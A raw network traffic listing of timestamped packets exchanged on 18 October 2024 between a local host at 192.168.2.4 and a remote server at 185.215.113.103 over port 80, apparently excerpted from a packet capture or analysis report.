Oct 18, 2024 15:04:58.676481009 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.676495075 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.676511049 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.676525116 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.676541090 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.676556110 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.676583052 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.676588058 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.676588058 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.676588058 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.676598072 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.676613092 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.676630020 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.676634073 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.676659107 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.676662922 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.676662922 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.676672935 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.676691055 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.676706076 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.676729918 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.676750898 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.676765919 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.676774979 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.676774979 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.676783085 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.676799059 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.676814079 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.676829100 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.676843882 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.676858902 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.676860094 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.676860094 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.676860094 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.676876068 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.676889896 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.676904917 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.676908016 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.676914930 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.676920891 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.676937103 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.676953077 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.676966906 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.676981926 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.677500963 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.677539110 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.677555084 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.677555084 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.677555084 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.677555084 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.677556038 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.677575111 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.677591085 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.677606106 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.677622080 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.677637100 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.677653074 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.677654982 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.677654982 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.677669048 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.677669048 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.677690029 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.677705050 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.677720070 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.677721977 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.677721977 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.677736998 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.677753925 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.677769899 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.677787066 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.677802086 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.677817106 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.677831888 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.677848101 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.677855015 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.677855015 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.677855015 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.677855015 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.677865028 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.677882910 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.677897930 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.677915096 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.677931070 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.677944899 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.677962065 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.677963018 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.677963018 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.677963018 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.677980900 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.678122044 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.678138018 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.678153038 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.678179979 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.678195000 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.678204060 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.678204060 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.678204060 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.678204060 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.678210974 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.678229094 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.678245068 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.678260088 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.678277016 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.678292036 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.678307056 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.678323030 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.678337097 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.678344011 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.678344011 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.678344011 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.678344011 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.678354979 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.678370953 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.678389072 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.678404093 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.678420067 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.678433895 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.678450108 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.678464890 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.678468943 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.678468943 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.678468943 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.678468943 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.678483009 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.678708076 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.678792000 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.678807974 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.678822994 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.678838968 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.678853989 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.678869009 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.678886890 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.678901911 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.678917885 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.678935051 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.678935051 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.678935051 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.678935051 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.678946018 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.678962946 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.678977966 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.678994894 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.679012060 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.679027081 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.679027081 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.679027081 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.679027081 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.679056883 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.679074049 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.679088116 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.679100990 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.679105043 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.679121971 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.679137945 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.679152966 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.679168940 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.679188967 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.679203033 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.679208994 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.679208994 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.679208994 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.679208994 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.679219961 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.679234982 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.679250956 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.679269075 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.679284096 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.679300070 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.679316044 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.679331064 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.679342985 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.679342985 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.679342985 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.679342985 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.679347038 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.679363966 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.679392099 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.679395914 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.679414988 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.679418087 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.679769039 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.679773092 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.679785013 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.679802895 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.679828882 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.679836988 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.679847002 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.679863930 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.679910898 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.679924011 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.679941893 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.679959059 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.679974079 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.679992914 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.680008888 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.680013895 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.680013895 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.680013895 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.680026054 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.680043936 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.680054903 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.680062056 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.680078983 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.680095911 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.680118084 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.680118084 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.680123091 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.680141926 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.680156946 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.680172920 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.680188894 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.680212021 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.680226088 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.680226088 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.680226088 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.680227995 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.680244923 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.680260897 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.680278063 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.680288076 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.680288076 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.680294991 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.680314064 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.680330038 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.680386066 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.680386066 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.680417061 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.680433989 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.680449963 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.680465937 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.680481911 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.680497885 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.680515051 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.680531979 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.680547953 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.680548906 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.680548906 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.680548906 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.680576086 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.680593014 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.680609941 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.680617094 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.680617094 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.680629015 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.680656910 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.680672884 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.680687904 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.680706978 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.680706978 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.680707932 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.680726051 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.680742025 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.680757999 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.680774927 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.680783987 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.680783987 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.680792093 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.680808067 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.680824041 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.680840015 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.680841923 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.680841923 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.680856943 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.680874109 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.680890083 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.680902958 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.680902958 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.680905104 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.680922031 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.680938959 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.680939913 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.680953979 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.680969954 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.680977106 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.680986881 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.680989981 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.681005001 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.681020975 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.681037903 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.681042910 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.681087017 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.681236982 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.681252956 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.681277990 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.681296110 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.681301117 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.681319952 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.681386948 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.681412935 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.681428909 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.681444883 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.681461096 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.681463957 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.681474924 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.681479931 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.681497097 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.681514025 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.681514978 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.681534052 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.681543112 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.681550026 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.681566954 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.681633949 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.681633949 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.681771994 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.681787968 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.681802034 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.681817055 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.681832075 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.681855917 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.681869984 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.681869984 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.681873083 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.681890965 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.681907892 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.681925058 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.681926012 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.681926012 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.682008028 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.763406038 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.768507004 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.768543959 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.768573046 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.768589020 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.768604040 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.768620014 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.768646955 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.768646955 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.768651962 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.768657923 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.768671036 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.768688917 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.768704891 CEST	80	50042	185.215.113.103	192.168.2.4
